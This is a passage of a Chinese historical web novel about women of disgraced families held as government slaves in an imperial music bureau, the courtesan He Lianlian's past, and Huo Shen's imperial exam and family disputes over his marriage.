霍慎笑意不达眼底地看着母亲说:“娘也帮我给庶祖母带句话吧,所有的事我会自己看着办,她唯一要做的就是好好活着,活得长久才有机会心想事成。”
霍母觉得尴尬极了,连忙解释道:“我们也是关心则乱,你且好好备考,这件事我们暂且不提就是了。”
霍母走后,霍慎紧了紧手中的杯子再次陷入沉思。
还有半月就是半年之期,教坊司的人,都很期待第一批能出教坊司的人是谁。新来的官奴可以在教坊司最长待一年,一年期满若还未达标的官奴或是不服管的都会被送到京郊乐营中做军妓。在此期间有两次被送进宫的机会,一次就是新进教坊司半年,各方面学的最好的前三个,最后一次就是一年期满最后由钱司主亲自举荐两个心性沉稳且聪明的,直接发派到需要大宫女的主子身边。
今日事毕,教坊司的人都在院外的长廊处,闲聊讨论究竟是哪三人会优先进宫。宋氏母女三人却在房间里数着自己得来的银钱。看着这些银子她们三人心里五味杂陈,这是多年来第一次她们靠自己的本事赚来的钱,但是代价委实太大了些。
“这些钱都是你和嫂子赚来的,我都没出力还时常要你你们贴补。”宋昔年有些不好意思去看她们。
宋昔年嫂子洪媛安慰道:“我们都是一家人,妹妹计较这些做什么?难不成以后我们有难妹妹会袖手旁观不成!”
宋昔年立刻否认说:“当然不会!”
宋母不参与她们姑嫂的话题,只是感叹地说:“从前也没把这点钱放在心上,如今才知十两银子得来不易。这十两已经是我和你嫂子每日看诊绣花小半年才攒下的,你说要是想攒够赎身的钱得要多久?”
宋昔年紧张地问道:“什么赎身,娘想入贱籍不成?”
洪媛知道婆母说漏嘴,立即改口说:“娘说的是为阿诺赎身,妹妹别急。托妹妹的的福,将来阿诺说不定可转籍赎出呢。再者以后还要替他攒钱买房置地的,这些都要提前打算的。”
“也是还要给阿诺攒老婆本,哎,早知钱司主答应要给我钱的时候我就不急着拒绝了。五十两银子如今看来可真不少呢!”宋昔年有些后悔地摸着床榻上的银子。
宋母敲了敲她的头说:“用五十两换我们俩三不分开,我们已经是占了便宜了。只要我们能不分开,其余什么都不重要。”
宋昔年嘴硬反驳道:“现在银钱才是最重要的,我听嬷嬷们说,若是期满能出教坊司,用钱打点就算是划拨也能去个稍微好点的富庶人家。”
宋母惊讶地问道:“那去了别处是不是更要花钱?”
宋昔年听到这话,恼怒地质问母亲,“
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什么别处,哪有别处?难不成娘是想进乐章台,以后做个贱籍官妓。你都多大岁数了,你就算你肯,人家还未必收呢!”
宋母听到这话被气得用手指着她却半天说不出话。宋昔年还不罢休继续道:“宁做妾,不做娼!母亲早些断了不该有的想法吧,再说还有嫂子呢。父兄若是知道非被你气死不可!”
宋母想到被流放到北境的丈夫和儿子,忧伤地说:“你知道,我不是这个意思。我们家的情况你也知晓,想必是没人敢替我们赎买,皇宫我们也进不去,所以最后只能流入乐章台。我和你嫂子都想好了,给官妓姑娘们使唤也是使唤,只要做好自己分内之事,想必不会太被为难,大不了就是姿态放得再低一点罢了。等老了自然会被放走,多攒些钱就是了。”
宋昔年无奈说道:“那嫂子呢,她还这么年轻,要等多久会被放?就算她能等,以嫂子的相貌乐章台的妈妈会让她等嘛,你能保证嫂子能一直不露于人前?”
洪媛强装镇定道:“我小心些便是,实在不行就划了脸,总会有法子的。妹妹说这么多可想过自己,你可是比我更年轻更貌美呢!”
宋昔年信誓旦旦地说:“我会武,我会反抗的,不必担心我。”
话毕,外面传来一阵喧闹声,三人快速藏好银钱,打开门,上前了解情况。才得知是乐章台的人来教坊司选人。每年都会有姑娘主动想进乐章台,所以就有了乐章台每年都来选人的习俗。进了乐章台的姑娘会有专门的人教习更多舞乐技艺,就有机会可以参加每年一次的皇家宫伎选拔,进宫做只献艺不献身的宫伎,如果表现得好还可以脱籍返良。有些不在意贞洁的姑娘大多会选这条路,但也有只是单纯冲着享受去的。
与往年有所不同,今年带头过来选人的是现在京城有名的官妓贺怜怜。贺怜怜是三年前从教坊司出去的,仅用三年时间就在乐章台众多官妓中脱颖而出拔得头筹。她不仅琴棋书画,诗词歌赋样样精通,还十分知情识趣甚是会讨男人欢心。正是如此,乐章台的女人几乎都狠毒了她,每天各种小手段层出不穷地对付她。
贺怜怜穿了身绛紫的衣裙在众人的簇拥下进了教坊司正院。左看看右望望,边走边感叹道:“如今教坊司变化还真是不小,我才三年未回都感到新奇了呢!居然连新来的人也多了不少。”
负责接待她的管事嬷嬷在边上附和答道:“今年新进的人,是比往年的要多些。”
贺怜怜含笑说:“那今年竞争岂不是更激烈?”
嬷嬷尴尬地说:“她们还算老实,不曾出什么乱子。”
贺怜怜不屑地说:“哼!都进了这鬼地方,老实人能活下去?行了,嬷嬷不必同我客套,我想见一见司主,嬷嬷快去请吧。”
不久钱司主知道贺怜怜来了,皱了眉头,听说她是代表乐章台来选人的更是惊讶。心想往年都是有经验的老妈子,今年怎么会是她?
5. 第 5 章
钱司主来到前厅,所有管事的嬷嬷都向她问安。
三年未见贺怜怜,如今的她以与当年判若两人,她与之对视,贺怜怜笑意浅浅地看着钱司主,微微欠身向她行礼。
贺怜怜淡淡开口:“许久未见司主可还安好?瞧着司主风采依旧我也安心不少。”
钱司主怔愣一霎,清冷问道:“往年负责筛选的邓管事呢,今年怎么是你来此?”
贺怜怜缓缓坐下,看着自己新做的蔻丹,轻飘飘地开口:“邓管事她前些日子告老请辞了,仓促间找不到合适的人来替,恰巧我这几日比较闲,所以我就来。怎么,瞧见是我,司主不高兴吗?”
钱司主不想与她提前尘旧事,打断她说道:“行了,是谁都一样。说说你们乐章台今年的要求吧,我再告知下面的人进行筛选。”
“司主别急,时间多的是,何必如此着急。我先瞧着吧,遇见合适地再同你说。”贺怜怜起身要走。
钱司主不解地问她:“你想私下挑?”
贺怜怜回头微笑道:“您果然最了解我。”
钱司主严肃地看着她道:“你知道,这不合规矩。”
贺怜怜高傲地说:“如今是我代表乐章台选人,我就是规矩!”
钱司主斥道:“这里是我教坊司,自然要讲教坊司的规矩。”
贺怜怜嘲讽回击,说道:“那请问司主,教坊司的规矩是什么?”
两人瞬间安静,都不约而同地回忆起了三年前
三年前冬至,今年的雪下得非常早,一大早来人敲开了教坊司的大门。门房的人一看居然是罪奴所的差役,便打开门,搓着手随意问道:“今天你们怎么来得这么早,平日不都是午后才送人过来的吗?”
带头的差役烦躁极了,大声说:“我这次真是倒了霉了,被外派就算了,还提前下雪了。这鬼天气冷死了,你快些让人出来与我交接,我还赶着回去交差呢!”
都是熟人门房把几位差役迎进了自己的小屋子取暖,开口道:“哥几个先在我这暖和下,我去把交接的管事叫来。”
门房出门时,随眼瞟见站在雪地里的三个女孩,心里感叹都是美人坯子。随即快速离开,这天气使人一秒都不想在外面待、
贺怜怜家在江南,父亲是江南小县城的知县。她父亲为人正直,虽说不是爱民如子但也算是个清廉的好官,所以日子过得算是清贫。今年年初,他刚从县丞升迁至知县就被获罪已经人头落地。
贺母是个懦弱的,刚收到消息就自戕随夫而去了,全然忘记自己还有一个年仅十五岁的女儿。贺怜怜就这样看着母亲在自己的面前倒下,还来不及为母亲收尸就在母亲的尸体前被差役带走。
贺怜怜是贺家独女,生长于乡间。父母对她没有太多的规条约束,只是希望她能快乐平安地生活,所以养成了活泼的性子。
如今突逢变故,她一夜之间成长了许多,她这一路都在思考,为何父亲会被安上贪污税收的罪名,她家向来清苦,一直住在破旧的祖宅里。家里的进项只有父亲每月的俸禄,所以敢肯定父亲是被冤枉的。她发誓一定要好好活着,弄清楚真相为父亲正名!
这是她第一次来京城,没想到是这样的凄凉。她被带进教坊司,看着偌大的宅院,她觉得如此好的房子不会是关犯人的地方,如果是那她愿意一辈子被关在大房子里。后来果然一语成谶,她终其一生都没能再走出这华丽的囚笼。
贺怜怜是乡下出身,自然没有那些上官的家眷懂规矩礼仪,但正是因为她出身低,她比谁都能放下尊严,耐住性子。认真去学这些死物。也是上天垂怜她在舞蹈方面颇有天赋,所以很快就被钱司主关注到了。
钱司主很欣赏贺怜怜,时常指点她。久而久之,贺怜怜居然在这个冷冰冰的人身上感受到了类似家人的关心,她们之间也算过了一段母慈子孝的美好日子。
贺怜怜渐渐不想离开教坊司,她想一直陪着钱司主,甚至觉得如今很好,想要放弃为父亲正名,一直平淡地生活在这里。
因为钱司主对她的特殊照顾,许多与她年纪相仿的小官奴对她十分嫉妒。时常给她使绊子,她机灵往往都能化险为夷,她也一直相信钱司主会护着她,所以更加不以为意。
时光匆匆,在一年期满的前一个月,贺怜怜给钱司主送了自己亲手做的点心,钱司主最爱吃她做的白糖牛乳糕。
她见钱司主心情不错地吃着糕点,便试探地小声问道:“司主,能有什么办法留在咱们教坊司吗?”
钱司主了然开口:“教坊司的管事、教习都是宫里指派下来的,想留下只有先进宫,然后等指派。”
贺怜怜抱怨道:“那司主为何不提前告知我?若知如此,半年前第一次竞选时,我就应该早些进宫的。这样日后也能早些回来。”她自己拿了块糕点自顾自吃着。
钱司主笑她,“你觉得你当时够格进宫吗?”
贺怜怜瘪嘴说道:“我知道司主会帮我的。”
钱司主错愕转头看她:“我和你说过,别指望依赖他人过活,而且我也不会帮你,这样不合规矩。”
贺怜怜撒娇道:“司主又不是别人,肯定会帮我的,你最是嘴硬心软,和我娘一样口是心非罢了。”她得到了她想要的答案之后,转身出了钱司主的屋子,从她欢快的脚步就能看出此刻她是多么愉悦。
即将进行最后一次入宫考试前,贺怜怜还笃定地认为钱司主一定会把进宫名额之一留给自己,由钱司主亲自推选举荐入宫。因为这几日钱司主总是提醒她要小心谨慎,别有任何差池。
没过几日,宫里来嬷嬷要接走最后两名举荐的官奴,因是教坊司司主亲自举荐去做大宫女的,所以宫里会来人看看品智。钱司主上交名单时,那嬷嬷突然发现自己的腰间玉坠子不见了,最后却在贺怜怜
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的房间找到,贺怜怜百口莫辩被迫认罪。
贺怜怜以为自己的名字会被替换,谁知她只是受到了鞭笞责罚。在当着所有官奴的面受罚完毕之后,贺怜怜才想明白原来自己的名字从来都不在推荐名单里。她不甘心、不敢信,拖着血肉模糊的背爬向坐在远处观刑的钱司主脚边。
贺怜怜倔强地抬头问道:“我真的没有偷拿那枚玉坠,我是被陷害的!”
钱司主冷淡地问道:“你有证据证明你的清白吗?还是你知道陷害你的是谁?我三番两次告诫你要谨慎,叫你别出错,你却还是落到如此下场。你一个罪籍官奴,没证据有什么资格喊冤。记住了,我为主,你为仆,你更没权利让我相信你。”
贺怜怜无力地问道:“我的名字是不是从一开始就不在推荐名单里?”
钱司主面色如常地回答:“是,就你这性子,进宫也不会有好下场的,何必白占名额!”
贺怜怜苦笑道:“原来你没有骗我,你终究和我娘不一样!”说完她就昏死在了钱司主脚边。
钱司主对坐在边上的嬷嬷说:“姐姐,你看如今罚也罚了,日后我定会管教好她。此事不如就此揭过,如何?”
那嬷嬷淡淡地笑着说:“今天你既开口替她求情,我就给你这个面子。免得伤了我们姐妹之间的情分,但你自己司里的事可要处理好了,你可要清楚我们吃的是皇家的饭,这里头可容不得有半分不干净的东西混在其中。”此话也说明了她知道是有人故意陷害。
钱司主起身行礼道谢,随后那嬷嬷便带着两个早就选好的官奴回宫了。
当晚贺怜怜还在昏迷中时,教坊司就连夜送了两个官奴去城外京郊的乐营。
贺怜怜醒来后专心养伤,在一年期满之前,自己选择去了乐章台做官妓。临走前,钱司主还来劝过她,但她并没有见钱司主,就像她醒来之后不再提陷害的事一样,她都选择了沉默。她并不知道其实钱司主早就为她选好了去处,准备将她托付给自己的一位京城好友。
贺怜怜率先从回忆里出来,说道:“您还真是一点都没变,还是那么死板。规矩是死的,人是活的。我如今也算是处理此事的话事人,您不会这么点面子不给我吧!”
钱司主回神说道:“若你私下挑中了愿意的还好,若是挑中了不愿意的你该如何收场?”
贺怜怜无所谓地说:“收场?司主莫不是和我在说笑。我能挑中她们是她们的福气,她们不过是罪籍官奴,有什么资格同我说不,又有什么权利看我如何收场?”贺怜怜看着钱司主的表情,心里痛快极了!她这么多年拼命爬到这个位子,等的就是今天这一刻。
她已经不想知道,为何自己的名字不在举荐名单中,不想知道为什么当时两人都知道她是被冤枉的,却还是把她当众鞭笞得皮开肉绽。
她信步上前,只问了钱司主一句:“司主,您后悔过吗?”
6. 第 6 章
贺怜怜说完转身就走了,三年前,她踏出教坊司时亦是如此的决绝。钱司主无力地跌坐在椅子上,双手撑着额头,不发一言只是觉得自己的头急越发重了。
在贺怜怜的一再坚持下,钱司主还是帮她收拾了一间房,让她在教坊司住下了。第二日卯时未到,钱司主就叫了宋母替她问诊,宋母替她按摩了头部,替她熬了舒心理气的汤药劝他服下。再多的宋母目前医术有限,也不能再做什么。
宋母在回自己寝室的路上,看到一位姑娘坐在池塘边,脚浸在池水里,裙子的下摆也落入其中,湿了一大片。
她轻声地唤着这个背对着她的姑娘,说道:“丫头,别坐在这里了,掉下去可怎么好?”宋母也是怕惊到她,所以声音放得柔和了点。
贺怜怜初听这声音觉得,温柔得如秋日微风轻轻拂过鬓角碎发般,没有任何攻击力,却又的确带起了点什么。她缓缓回头就看到一个穿着粗布麻衣的妇人,神色担忧地看着她,已经多年未有人向她投射这种目光了。她有些下意识地闪躲。
贺怜怜尴尬地轻咳道:“我只是觉得这样凉快些,这秋老虎实在让人觉得难熬。”
宋母看清了她的样子后,随即向她欠身行礼道:“原来是乐章台的贺管事,我先前还以为是教坊司的小丫头们呢,真是不好意思。”
宋母转身告辞,却又折返回来说道:“贺管事,女子久碰凉水对自己身体无益的,若是凉快些了,还是早些回去的好。”抬脚要走却听见贺怜怜的肚子在叫。
贺怜怜此时十分的难为情,宋母知道她的窘迫,适时地问她要不要同她回院子一起吃早膳。贺怜怜想都不想穿好鞋袜立即站起来,乖巧地跟在宋母身后。
两人刚进院子就听宋昔年在问嫂子:“嫂子,我都饿了。你说娘怎么还不回来?”
洪媛开口道:“兴许是有事耽误了,再等等吧。”
宋昔年叹气道:“算了,迟些去也好,如今管事的婆子们管得不严,等其他人都吃完了,我们三个就能像从前一样,边吃着早膳,边说会体己话了,这也是好事。”她双手托腮对正在叠衣服的洪媛说着她的想法。
话音刚落就听见卧室的门响了,她回头抱怨:“娘,你怎么回来这么迟,我都要去找你了!”转头看清先进来的不是自家母亲,宋昔年下一激灵。
宋母随后开口嗔怪道:“坐稳些,小心摔着。”
宋昔年随即同嫂子一起向这个新来的选人管事见礼,贺怜怜还沉浸在这让她似曾相识却又淡忘多年的气氛里不能自拔。
宋昔年见她愣神便出声唤道:“贺管事!”她还伸出一只手在她面前试探地晃了晃。
贺怜怜回神后发觉自己有些失态,强装镇定地说:“我也饿了,先去吃饭吧。”
宋昔年脱口而出道:“你要和我们一起?”宋昔年皱眉,但随即反应过来,如今自己的身份只是官奴,便快速低下头,收敛不悦的情绪。
贺怜怜也不计较,反而觉得这个小姑娘居然有些自己当年的影子。都是天真里带着那还没被现实磨光独属少女的朝气。心里想:“也不知道她这份朝气能保持多久,想到她有家人陪伴,一定会比自己当初好过些。”
她们四人来到饭厅,已经没有官奴在用膳了,那负责打饭的婆子刚想张口骂几句,看见了贺怜怜乐在其中只能讪讪闭嘴。
四人找了张方桌,各坐一方,宋昔年和贺怜怜相对而坐,两边是自己母亲和嫂子。洪媛贴心地为大家添上米粥每人定量的还有一个白面馒头,就着咸菜大家安静地吃着。
突然宋昔年问:“贺管事,你们乐章台怎么样?”
贺怜怜放下筷子眉眼弯弯地看着她说:“怎么,你想进乐章台?”
宋昔年想了想坚定地回答了:“是的,有什么要求吗?”这是她第一次在家人面前正式地说这个问题,没有丝毫回避躲闪,直截了当地给出了正面的回答。
贺怜怜随意地说:“那要看你是去伺候男人还是去伺候女人了!伺候男人要懂男人,伺候女人自然是要懂女人。你懂男人和女人吗?”
宋昔年疑惑开口:“这里面有什么特殊的门道吗?”
贺怜怜不答反问:“你去乐章台你娘她们怎么办?”
宋昔年看了看四周小声说:“我会求钱司主,准许她们留在教坊司里。”
不待宋母拒绝,贺怜怜就笑出了声,“你可知要做教坊司管事或者是婆子都是由宫里分派下来的,依我看你趁早放弃吧,没可能的。”
宋昔年摇头道:“不是做管事,我娘和嫂子都会点医术。教坊司轻易不许官奴就医,我仔细想过了,或许这是条不错的路。司主她也找过我娘她们问诊的,说明她也需要。我到时候去求钱司主兴许能成的,钱司主人还挺好的。”
贺怜怜不屑一顾地说:“你觉得她好,那都是假象,都是你对她的错觉。你清醒一点吧,小心害了你自己和家人不自知。还有她是不会帮你的,求她也没用。”
洪媛好奇地问:“贺管事,你似乎很了解钱司主。大家都只能最多在教坊司待满一年,你居然和我们了解的钱司主完全不同。”
宋昔年更关心乐章台的情况,于是打岔道:“每个人对人的评价都是不同的,这并不重要。贺管事你还没告诉我进乐章台的门道呢!”
贺怜怜狐疑地看着宋昔年问道:“你居然能说出这种有涵养的话?”
宋昔年打着马虎眼说道:“这也不重要。”
贺怜怜也不刨根问底,继续之前的话题说道:“你只要记着一句话,在乐章台伺候男人你要学会脱衣服,伺候女人你就要学会怎么穿衣服!”这对于在后宅生活多年的妇人,已经是最好的提示,但是对宋昔年她只能一知半解,还想再问却被宋母拦住了。
贺怜怜起身说道:“我们也算是有了一顿饭的交情,我比你大
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上几岁,你叫我声好姐姐,日后你若真进了乐章台,我罩着你就是了。”
宋昔年也不矫情立马倒了茶给贺怜怜奉上道:“怜姐姐,请喝茶!”
贺怜怜也爽快地接过茶水一饮而尽,两人相视而笑。贺怜怜出门前特意嘱咐宋昔年道:“年妹妹,记住我的话,别太相信钱司主,不管她对你承诺过什么!”没有等到宋昔年的回答,她就率先出了饭厅。
明日就是会试的日子,霍慎特意把阿无和宋诺叫到跟前嘱咐:“我这几日不在,你们想出门逛逛也无妨,按时回来就行。等我考完会试,阿诺,我会帮你寻一个靠谱的学武师父,但是你也要答应我不得耽误文学知识,这方面我会亲自教导你。”
宋诺沉默点头,算是回应。
阿无随后也说道:“公子,你叫我悄悄打听的事已经有眉目了,都没问题,就等公子一句话,是否要我明日就去给答复?”
霍慎摆手说道:“先不急,等我会试结束,一切板上钉钉之后再安排。眼下最重要的是北边的消息,还没收到回信吗?”
阿无摇头道:“暂时没有,我会继续留意的,公子就先安心考试吧。”
次日,阿诺特意在霍慎卧房门外等候,对他拱手行礼道:“愿公子,金榜题名!”
霍慎面带笑意地摸了摸他的头说道:“小机灵鬼!”随后丢了五两银子给他。阿无见了霍慎便也上前恭喜。待吉祥话说完后,就默默打开手心,脸上还喜滋滋的。
霍慎见他这副志在必得的嘴脸,无情地说道:“你并不是第一个!”他说完大步流星地走了。阿无只能懊悔地跟上。院墙拐角处,宋诺小心翼翼地探出小脑袋,张望着刚走远的人。之后才把五两银子仔细收好,这可将近他一年的月银。
辰时刚过,今年要参加会试的所有考生都排队入场,准备考试。霍慎在通过搜查,进入考场后就和自己的三哥和五弟道别去找自己的考房。
考试是要求每位考生,三天后合并自己的所有答卷统一上交,当场封存,以防止有人买通考官有舞弊的行为。
因为是合并交卷,所以在上交答卷之前,必须由自己保管答卷。这就导致了很多人连茅房都不敢上,就是怕自己不在时,有人污了自己答卷,如果带进茅厕更怕自己污了答卷。虽然有巡考的差役,但他们巡考时也是有视野盲区的。左右为难之际,有人看见霍慎把自己的答卷封起来,交给路过的差役保管。自己大摇大摆地去烧水煮茶,更衣如厕。
三天后考试结束,霍慎回到家中发现,自己书房的陈设布局和三天前的完全不一样,且东西也被动过。问了阿无才知道是祖父让人安排的。包括自己卧房的东西也都换了,他匆忙赶回卧房,却发现一个穿着碧绿色衣裙的女子正在自己的卧房里翻找。他出声询问道:“你是谁,在找什么?”
那女子闻声回头,霍慎看清她的模样后,唇角勾起了一抹不易察觉的笑。
7. 第 7 章
绿衣女子转身,看见是霍慎回来了,立马放下手上的东西,从卧房出来迎接他,开心地说道:“霍慎哥哥,你回来了!”
霍慎不答,只是盯着她看,似乎要把她一览无余。霍慎看着少女欣喜地看着自己,忽然他又想起那离他而去的红色背影。
霍慎疏离地问道“你在我的卧房找什么?”
少女慌张回答:“没有的,我只是帮忙收拾,是表姑奶奶让我来帮你重新归置一下,想让你住得更舒服点,你的东西我都没有动过。”她心虚地低头不敢看霍慎。
霍慎,转身进屋关上房门。他环顾四周,发现屋内只是多了一扇白鹤云游图,正是去年自己在祖父书房看到那扇,自己随口称赞了几句,如今祖父将它转送给了自己。不知其他人得了什么。
霍慎打开衣柜,看见他的紫檀木箱子完好无损的还摆在衣柜的角落,便放下悬着的心,重新关上衣柜的门。
刚打开房门,阿无就来告知说:“公子,前头刚有小厮来报,说老爷叫了几位今天参加会试的公子一起过去,像是有事!我瞧着,其他两位公子都挺急的,您也快些去吧!”
霍慎进了大厅,发现霍家男丁都在,心中大概清楚祖父的用意。他找了个末尾的位子坐下,静静地看着事态发展。
霍岩中气十足地开口说:“既然人已经到齐了,那我又不绕弯子了,你们几个今天刚结束会试,感觉如何,有什么想法?”霍岩用眼睛在三个孙子身上不停打量。
三少爷霍恃先开口:“祖父,我觉得此次会试比以往的要严格,今年的交卷方式有些奇怪,往年都是一场考完就上交答卷,今年是三场结束一起上交。不会真有人考试舞弊被提前知晓,所以才改变交卷方式,以预防舞弊之事!”
“你们俩也是这么想的?”霍岩问霍慎和霍悟二人。
霍悟没心没肺地说:“管他是怎样,反正都考完了,现下再讨论有何用处。”
霍岩摇头,看向坐在角落一言不发的霍慎道:“勤之,你的想法呢?”
霍慎开口先问道:“祖父,您指的是这件事本身吗?”
霍岩浅笑道:“你先说说看这件事本身。”
霍岩:“我认为单论此事,改变其实是好事,一则可以警醒考官,使他们不敢有什么不该的想法,就像三哥说的可以杜绝考官们协同考生作弊的可能性,其二就是表示朝廷对于此次考试的重视。”
霍岩转身负手而立,背对众人思考,良久开口问道:“那非事件本身,你又有什么看法?”
霍慎犹豫地看着在座的人,霍岩知道他的顾虑开口安慰道:“无妨,都是一家人,不会有什么不该有的牵扯,你放心说!”
霍慎点头,继续说:“宫里是不是有消息传出?”
霍岩吃惊道:“你怎么知道的?”
霍慎露出自信地微笑说道:“得了祖父的答案,我已然确定,此次会试如此行事,其实是在为太子选拔可用之人!要求答卷一起上交,不过是为了考查考生们的明锐度和严谨性。若仔细审题就会发现三道考题,看似没有关系,实则却是环环相扣,若能看透这个,榜上有名轻而易举。”
霍悟听到这话,哭丧着脸说:“那我这次是没戏了!”
霍岩严肃地问霍慎,说道:“勤之,你能分析得如此透彻,那你会是那个轻而易举的人吗?”
霍慎不以为然地说:“那是自然,只是名次高低罢了!”
霍悟不信,质问说道:“四哥,凭何如此自信?”
霍慎调笑他,回答:“就像你清楚地知道,此次你自己会落榜一样,我也有把握我能登科罢了。”
霍大公子霍恒心有不解,开口问:“祖父不是一直教导我们要远离朝堂争斗,说霍家要保持中立才是长治久安之道嘛!这次为何同我们讨论这些?”
霍二公子霍怀道:“一朝天子,一朝臣而已。”
此时,大厅里陷入沉默,直到下人来喊说晚饭好了,夫人们都在等,他们才结束这个话题。
饭毕,大家都相互告辞,霍岩单独留下了霍慎,爷孙俩沐浴着月光,走在铺满了石子的甬路上,显得格外闲庭信步。
霍岩突然开口问道:“你祖母希望你能早点成婚,你的意思呢?”
霍慎停住脚步,问道:“祖父说的是‘含羞居’的祖母?”
霍岩转身看他,无奈摇头道:“自然,有时候我觉得你和她年轻时很像的,都是说不出来的嘴硬,但阿渝她能放下身段,只要她能得到她想要的。”
霍慎不解祖父怎么会同他说这些,便开口:“祖父似乎不像我想象中那么不待见我祖母!”
霍岩嗔怪道:“你胡说什么,我何时不待见她?被她知晓且有地闹了!”
霍慎不懂,自他记事起,祖父与他亲祖母之间,总是争吵不断,相互讥讽。
霍岩叹气地说:“你小子,还是太年轻,我只是羡慕她罢了,她一生什么都可以不在乎,只图自己舒心快活。瞧!把这得罪人的事派给我来问,自己倒是惬意了。”
“祖父不必操心了,我亲自去同她说,想必我母亲并没有帮我把话带给祖母。想彻底解决还是要早些说明白。”说完大步流星地往‘含羞居’的方向去了。
到了含羞居,霍慎正准备敲门,就听见自己祖母在和她那个侄孙女说:“这些你挑几件喜欢的,明天打扮一下,去找勤之,她喜欢活泼的,你别老端着。你若能讨得他的喜欢,将来进门也容易些,等到有大赦,你就能自由了。到时候……”话还未说完,门就被推开,霍慎冷着脸站在门口。
老太太见自己孙子气势汹汹,脸色不好,识趣的打发走了侄孙女,亲自起身拉霍慎进屋,还带上了房门。
霍慎的亲祖母,名叫顾渝,在霍慎的印象里,他的这位祖母,泼辣冲动,又极其见风使舵,用市侩形容更加贴切。
顾渝朝霍慎白了一眼,不满地说道:“你拉个脸给谁看?我整天对着那个死老头子的臭脸已经够难受了,你个小东西,还这副表情对着我,我还真是欠你们霍家的。”
霍慎气恼,一直直勾勾地看着这个一身淡金色华贵锦缎的妇人,竟然感觉她比自己母亲还要年轻几分。
顾渝拉他坐下,亲
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自给他倒了杯茶,说道:“好了,气什么,你这气性和那死老头子一样大,我真好奇,若有一天你们生气了,没人低头哄你们,你们能气多久?会不会被自己憋死?”说完她居然哈哈大笑起来。
霍慎冷冰冰地说,“您是想让我娶顾云?”
顾渝立马反驳:“怎么可能,她顶多只能给你做个妾而已”满脸无所谓就像在说陌生人。
霍慎闻言说道:“她可是您的姑侄孙女,您居然想让她给人做妾。”
顾渝漫不经心地说:“她只是个宫女,虽然是在公主跟前伺候,但终究是个宫女,而且我和他家到你这代已经早出五服了,说有亲可有亲,若说没有也就没有了,本来就是旁支,不是什么正经亲戚的。再说了她哪有你重要,你可是我亲孙子!”
霍慎不想听她的谬论,自顾说道:“我让母亲给您带话,他没和您说嘛?”
看着祖母疑惑的表情,霍慎知道是因为自己母亲没敢转达,他觉得自己母亲的性子也太软了些。
霍慎耐着性子说:“我不喜欢她,以后您别给我张罗了,我自己的事自己会看着办。您好好地颐养天年就是了。”
顾渝急了,愤愤不平地说:“你懂什么,正所谓先成家,后立业,说得是有道理的。再说你都十八了,原想着你和宋家那小丫头能成是件好事。可如今也不成了,所以你要快些走出来才行,人都是向前看的,总不能让往事绊住脚。堵了路。”
霍慎吃惊,这么久的日子,家里没人敢和他提宋昔年,就连他自己都不太敢回忆。如今却被这个自己觉得不像祖母的祖母直接挑破,自己直接绷不住。
霍慎怒急了说道:“我是为了谁,才会做一个抛弃新婚妻子的卑鄙之人。我为了霍家的尊严,前途牺牲了这么多,如今我想自己做主都不能吗?”
顾渝讥讽说道:“瞧着你这么聪明,居然也有这么蠢的想法。你是不是为了霍家,只有你自己知道,还有男人的前途从来都不是靠女人得来的,谁教你这么见风使舵的?难道是哪老头子?”
霍慎仿佛是想报复顾渝,自嘲地说:“我可是祖母您的亲孙子,自然要青出于蓝的。”
顾渝看他如今这样,也不想计较,情绪缓和了之后,对霍慎说:“瞧你这样子,是还喜欢宋家丫头了?你既喜欢她,为何不把她留在身边,就算是做妾也好呀!她那么喜欢你肯定也是愿意的。”
霍慎不屑地说:“我可和您不一样,没有让人做妾的习惯。”
顾渝却笃定地说:“你已经后悔了,不是吗!”
霍慎嘴硬道:“我没有,我有我的办法,只是想让她再等等罢了。”
顾渝严肃地问他道:“你确定你再回去时,她还会在原地等你?再说了,我觉得你在能选择她的时候没有选择她,将来也不必选择了。”
霍慎不解,但不等他发问,顾渝就说:“因为在你放弃她的那刻起,你就失去了让她等你的资格。所以我劝你还是早些重新开始得了!”
霍慎落寞地出了屋,在跨出门的那刻突然问:“如果我就是不想往前走了,该怎么办呢,祖母!”
8. 第 8 章
贺怜怜在教坊司住了几日,她每天都去找宋家人,有时候一起吃饭,有时候只是去说说话。
今日贺怜怜心情很好,于是她突然问在她边上洗衣服的宋昔年,“你来了教坊司这么久了,有没有出去过?”
宋昔年没有说话,只是摇头,她手上的动作并没有停,其实她不想出去,也不敢出去。一切都变化得太快,就像她的名字,昔年那明媚的朝气少女,如今已灰心气短了。她现在只想木槿昔年地活着。
贺怜怜看着她的样子,起身站在她面前,宋昔年抬头看她,贺怜怜面带微笑地低头回望,宋昔年竟然觉得她的笑格外的好看,也十分刺眼。她欲低头避开却被贺怜怜拉起身,没等她有反应就被她拉着往外跑。
到了教坊司大门处,婆子拦住她们,贺怜怜蹙眉不悦地说:“我现在可不是教坊司的人了,你们难道还想限制我的自由不成!”
婆子道:“我们自然知道姑娘的身份,自是不会阻拦姑娘,但姑娘身后的人是我们教坊司的罪籍官奴不能随意外出的,还请姑娘不要为难我们,教坊司规矩有多严姑娘是知道的。”
贺怜怜不以为然地说:“我要外出,我贴身婢女手无缚鸡之力,宋昔年会些武,正是我需要的,想借来使一使,我已经派人去知会钱司主了,你们若不信且在这等一等吧。”
不过多时,一个娇小的婢女气喘吁吁的朝大门跑来,这一路累得她直不起腰,她见到贺怜怜便说:“钱司主同意了,不过她要求酉时前必须回来,负责必有重罚!还有这是姐姐你让我回屋取的银子。”阿昙从怀里掏出一大袋银子递给贺怜怜。三人潇洒的出了教坊司,走的时候贺怜怜还嚣张地向身后的婆子晃了晃手中的钱袋子,那模样气人急了。
宋昔年走在满是人流的街道上,心里感叹道:“虽然她的日子变得天翻地覆,但这京城却繁华依旧。”她想到这觉得自己以前太天真了。
贺怜怜看她走神,便道:“都出来了怎么还不开心?你要怎么谢我呀?”
宋昔年看着这个只比自己大几岁却活得如此开阔的女子,由衷地羡慕她。
宋昔年说:“谢,怜姐姐带我出来散心。”
贺怜怜却摆手道:“也不是全为了你,今天是我生辰,相互陪伴而已。”
宋昔年吃惊地说:“今日是你生辰,你怎么不早些告诉我。早知是你生辰,晨起时,应该叫我娘给你做碗长寿面吃。”
贺怜怜说:“我已经多年生辰都不吃面了。往年都是我摆宴席,乐章台的姐妹送贺礼。”
宋昔年闻言沮丧说道:“我出来的急,没带银子,不能送你像样的贺礼。”
贺怜怜豪气地揽着她的肩膀说道:“虽然没有贺礼,但我还是可以请你吃我的宴席啊!想吃什么,前面的梦仙楼你一定吃过吧,我今天就在这请你吃一顿吧。”
宋昔年不好意思地问:“姐姐,怎知我吃过梦仙楼?”
